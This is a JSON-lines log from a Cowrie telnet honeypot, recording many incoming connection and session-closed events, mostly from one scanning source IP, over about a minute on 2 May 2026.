{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48362,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e0adbacc268","protocol":"telnet","message":"New connection: 38.60.198.128:48362 (159.203.135.109:23) [session: 7e0adbacc268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:31.184514Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":56558,"dst_ip":"10.17.0.5","dst_port":23,"session":"93159c1e4537","protocol":"telnet","message":"New connection: 144.91.112.66:56558 (10.17.0.5:23) [session: 93159c1e4537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:31.823286Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":57134,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc0f95ce994","protocol":"telnet","message":"New connection: 144.91.112.66:57134 (10.17.0.5:23) [session: 4fc0f95ce994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:32.056333Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51054,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9b653395d47","protocol":"telnet","message":"New connection: 38.60.198.128:51054 (159.203.135.109:23) [session: a9b653395d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:32.251758Z"}
{"eventid":"cowrie.session.closed","duration":31.103037118911743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:33.285437Z","src_ip":"144.91.112.66","session":"89b3d1bee352","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":33862,"dst_ip":"10.17.0.5","dst_port":23,"session":"b875ea29b344","protocol":"telnet","message":"New connection: 144.91.112.66:33862 (10.17.0.5:23) [session: b875ea29b344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:34.083096Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":34900,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d970464a44b","protocol":"telnet","message":"New connection: 144.91.112.66:34900 (10.17.0.5:23) [session: 4d970464a44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:34.461000Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":35846,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c37b75c98da","protocol":"telnet","message":"New connection: 144.91.112.66:35846 (10.17.0.5:23) [session: 0c37b75c98da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:34.782196Z"}
{"eventid":"cowrie.session.closed","duration":30.681251287460327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:35.088718Z","src_ip":"144.91.112.66","session":"b2fd2120ee88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.758310556411743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:35.294874Z","src_ip":"144.91.112.66","session":"618233acfb57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.044458866119385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:37.219966Z","src_ip":"144.91.112.66","session":"bc4bd5a68393","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":44168,"dst_ip":"10.17.0.5","dst_port":23,"session":"64548c8479ed","protocol":"telnet","message":"New connection: 144.91.112.66:44168 (10.17.0.5:23) [session: 64548c8479ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:37.785933Z"}
{"eventid":"cowrie.session.closed","duration":30.78940439224243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:38.048561Z","src_ip":"144.91.112.66","session":"bc874e850d12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":45934,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4f073363173","protocol":"telnet","message":"New connection: 144.91.112.66:45934 (10.17.0.5:23) [session: a4f073363173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:38.446037Z"}
{"eventid":"cowrie.session.closed","duration":30.285079956054688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:39.057159Z","src_ip":"144.91.112.66","session":"3218a9765f6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882033586502075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:39.214319Z","src_ip":"144.91.112.66","session":"e614517a17e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.375920295715332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:39.331863Z","src_ip":"144.91.112.66","session":"9a9ab6e79d40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":46122,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a3c4696308f","protocol":"telnet","message":"New connection: 144.91.112.66:46122 (10.17.0.5:23) [session: 6a3c4696308f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:39.522925Z"}
{"eventid":"cowrie.session.closed","duration":30.619681358337402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:40.218140Z","src_ip":"144.91.112.66","session":"9cd9b1f7cc48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.6189284324646,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:40.584304Z","src_ip":"38.60.198.128","session":"4f38cdad6892","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":57460,"dst_ip":"159.203.135.109","dst_port":23,"session":"1112f9c48cc0","protocol":"telnet","message":"New connection: 192.211.53.160:57460 (159.203.135.109:23) [session: 1112f9c48cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:40.892448Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":52872,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1ab95f8de4a","protocol":"telnet","message":"New connection: 144.91.112.66:52872 (10.17.0.5:23) [session: a1ab95f8de4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:41.149295Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":55624,"dst_ip":"10.17.0.5","dst_port":23,"session":"080074fd671c","protocol":"telnet","message":"New connection: 144.91.112.66:55624 (10.17.0.5:23) [session: 080074fd671c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:42.175185Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":57394,"dst_ip":"10.17.0.5","dst_port":23,"session":"1daa92b6033b","protocol":"telnet","message":"New connection: 144.91.112.66:57394 (10.17.0.5:23) [session: 1daa92b6033b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:42.764662Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":58888,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6956863f96e","protocol":"telnet","message":"New connection: 144.91.112.66:58888 (10.17.0.5:23) [session: c6956863f96e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:43.340450Z"}
{"eventid":"cowrie.session.closed","duration":31.172390699386597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:43.894623Z","src_ip":"144.91.112.66","session":"d86fb7edf75b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94827651977539,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:44.502541Z","src_ip":"144.91.112.66","session":"64b05fca56c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882731676101685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:45.098248Z","src_ip":"144.91.112.66","session":"9bbb25e7e045","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10361123085022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:45.225769Z","src_ip":"144.91.112.66","session":"fd92fa34a748","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679683208465576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:45.432460Z","src_ip":"144.91.112.66","session":"8b9f5dd224d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98288631439209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:46.441910Z","src_ip":"144.91.112.66","session":"b00f258784dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.176403522491455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:46.474632Z","src_ip":"144.91.112.66","session":"8b163577d405","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17491888999939,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:46.478812Z","src_ip":"144.91.112.66","session":"4e097c8334d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":41658,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7a42753ab4a","protocol":"telnet","message":"New connection: 144.91.112.66:41658 (10.17.0.5:23) [session: b7a42753ab4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:47.125516Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":41958,"dst_ip":"10.17.0.5","dst_port":23,"session":"672a720c457e","protocol":"telnet","message":"New connection: 144.91.112.66:41958 (10.17.0.5:23) [session: 672a720c457e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:47.211086Z"}
{"eventid":"cowrie.session.closed","duration":33.855894804000854,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:47.462647Z","src_ip":"38.60.198.128","session":"1fc0c33f24ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.898736000061035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:48.152395Z","src_ip":"144.91.112.66","session":"1c27581e51dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20912218093872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:48.221229Z","src_ip":"144.91.112.66","session":"6bde9eb86336","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72088360786438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:48.643595Z","src_ip":"144.91.112.66","session":"0d1fde90f38d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":46300,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d17bc297855","protocol":"telnet","message":"New connection: 144.91.112.66:46300 (10.17.0.5:23) [session: 5d17bc297855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:48.767808Z"}
{"eventid":"cowrie.session.closed","duration":31.36297845840454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:48.939492Z","src_ip":"144.91.112.66","session":"cd1492a382bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22524666786194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:48.947561Z","src_ip":"144.91.112.66","session":"fe4351299011","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":48976,"dst_ip":"10.17.0.5","dst_port":23,"session":"460710774728","protocol":"telnet","message":"New connection: 144.91.112.66:48976 (10.17.0.5:23) [session: 460710774728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:49.773001Z"}
{"eventid":"cowrie.session.closed","duration":31.083032369613647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:50.073640Z","src_ip":"144.91.112.66","session":"92534bade98f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.164918661117554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:51.155067Z","src_ip":"144.91.112.66","session":"fb1877c4bb9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.352600574493408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:51.346539Z","src_ip":"144.91.112.66","session":"baafcdad1558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":53752,"dst_ip":"10.17.0.5","dst_port":23,"session":"acf667b788d3","protocol":"telnet","message":"New connection: 144.91.112.66:53752 (10.17.0.5:23) [session: acf667b788d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:51.582650Z"}
{"eventid":"cowrie.session.closed","duration":31.07776951789856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:54.353613Z","src_ip":"144.91.112.66","session":"89d125f082fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":51740,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e71f8ef370","protocol":"telnet","message":"New connection: 45.81.23.16:51740 (10.17.0.5:23) [session: b3e71f8ef370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:54.722897Z"}
{"eventid":"cowrie.session.closed","duration":31.064918994903564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:55.105798Z","src_ip":"144.91.112.66","session":"91bd4d550a90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":51752,"dst_ip":"10.17.0.5","dst_port":23,"session":"b46349bb3418","protocol":"telnet","message":"New connection: 45.81.23.16:51752 (10.17.0.5:23) [session: b46349bb3418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:55.358440Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":38096,"dst_ip":"10.17.0.5","dst_port":23,"session":"677d23cbbea5","protocol":"telnet","message":"New connection: 144.91.112.66:38096 (10.17.0.5:23) [session: 677d23cbbea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:56.313169Z"}
{"eventid":"cowrie.session.closed","duration":31.569612979888916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:56.656189Z","src_ip":"144.91.112.66","session":"5da91ee7cf15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":40238,"dst_ip":"10.17.0.5","dst_port":23,"session":"990eec876c58","protocol":"telnet","message":"New connection: 144.91.112.66:40238 (10.17.0.5:23) [session: 990eec876c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:57.053972Z"}
{"eventid":"cowrie.session.closed","duration":31.258524656295776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:57.276370Z","src_ip":"144.91.112.66","session":"2e0c5e0f5cd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052085876464844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:57.685613Z","src_ip":"144.91.112.66","session":"5f2c9a55c952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.296054363250732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:57.832320Z","src_ip":"144.91.112.66","session":"4b16e0a6bac9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58752,"dst_ip":"159.203.135.109","dst_port":23,"session":"30f26c6de4b6","protocol":"telnet","message":"New connection: 38.60.198.128:58752 (159.203.135.109:23) [session: 30f26c6de4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:58.717529Z"}
{"eventid":"cowrie.session.closed","duration":30.637651443481445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:59.096683Z","src_ip":"144.91.112.66","session":"6656a100a4bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12713098526001,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:59.552953Z","src_ip":"144.91.112.66","session":"66a35f6c9f35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.78244423866272,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:00.029831Z","src_ip":"192.211.53.160","session":"f9fa6ed9c328","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.093454599380493,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:01.451805Z","src_ip":"45.81.23.16","session":"b46349bb3418","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007956981658936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:02.831153Z","src_ip":"144.91.112.66","session":"93159c1e4537","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.73929500579834,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:02.857527Z","src_ip":"192.211.53.160","session":"33d4d1d35ff1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.625805377960205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:03.682061Z","src_ip":"144.91.112.66","session":"4fc0f95ce994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.80046033859253,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:03.823118Z","src_ip":"192.211.53.160","session":"528b3d987d51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.023672103881836,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:04.324432Z","src_ip":"38.60.198.128","session":"85820e195041","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00262475013733,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:04.788773Z","src_ip":"197.97.45.41","session":"3df161fe55a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.636643409729004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:05.097562Z","src_ip":"144.91.112.66","session":"4d970464a44b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.056718826293945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:05.139699Z","src_ip":"144.91.112.66","session":"b875ea29b344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.529667377471924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:05.311753Z","src_ip":"144.91.112.66","session":"0c37b75c98da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":33310,"dst_ip":"10.17.0.5","dst_port":23,"session":"0268dac318b1","protocol":"telnet","message":"New connection: 144.91.112.66:33310 (10.17.0.5:23) [session: 0268dac318b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:06.025466Z"}
{"eventid":"cowrie.session.closed","duration":40.958613872528076,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:06.303622Z","src_ip":"38.60.198.128","session":"87b252d23176","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.150877952575684,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:06.490735Z","src_ip":"45.81.23.16","session":"f1eff7e5f4e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.270057201385498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:08.055883Z","src_ip":"144.91.112.66","session":"64548c8479ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945067882537842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:09.391016Z","src_ip":"144.91.112.66","session":"a4f073363173","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.569823741912842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:10.092675Z","src_ip":"144.91.112.66","session":"6a3c4696308f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46122,"dst_ip":"159.203.135.109","dst_port":23,"session":"c96af1c942b3","protocol":"telnet","message":"New connection: 38.60.198.128:46122 (159.203.135.109:23) [session: c96af1c942b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:11.212468Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45822,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0b9759dbf75","protocol":"telnet","message":"New connection: 38.60.198.128:45822 (159.203.135.109:23) [session: f0b9759dbf75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:11.923471Z"}
{"eventid":"cowrie.session.closed","duration":44.39124035835266,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:12.122085Z","src_ip":"38.60.198.128","session":"5b7b5e870db7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10599136352539,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:12.255191Z","src_ip":"144.91.112.66","session":"a1ab95f8de4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39184,"dst_ip":"159.203.135.109","dst_port":23,"session":"99375cab7384","protocol":"telnet","message":"New connection: 38.60.198.128:39184 (159.203.135.109:23) [session: 99375cab7384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:12.708507Z"}
{"eventid":"cowrie.session.closed","duration":30.60293197631836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:13.367464Z","src_ip":"144.91.112.66","session":"1daa92b6033b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.251256227493286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:13.426324Z","src_ip":"144.91.112.66","session":"080074fd671c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":52276,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fb5708a6215","protocol":"telnet","message":"New connection: 144.91.112.66:52276 (10.17.0.5:23) [session: 4fb5708a6215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:20:13.959873Z"}
